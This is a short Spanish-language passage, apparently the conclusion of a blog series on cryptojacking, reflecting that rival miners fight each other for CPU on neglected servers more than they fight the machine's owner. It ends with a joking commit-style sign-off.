Lo que me queda de estos cuatro actores es que ninguno pelea de verdad contra el dueño del equipo. Pelean entre ellos. clean.sh mata a la competencia con más ganas que las que pone en esconderse; el killer de la entrega III protege docker, nginx y fail2ban para que el administrador no sospeche, pero no duda en borrar al minero rival. El modelo de negocio del cryptojacking es parasitario, no destructivo: necesita que la máquina siga viva, pagando su luz, rindiendo hashes. El verdadero enemigo de un minero no es el defensor distraído —a ese le basta con ocultarse—, es el otro minero que llegó a la misma máquina con la misma credencial filtrada. En un equipo mal cuidado, la escasez no es de atacantes. Es de CPU para repartir entre todos.

commit 0xB05

Date: 2026-11-11 23:58 PM

donate-level=0; shipping somebody else's electricity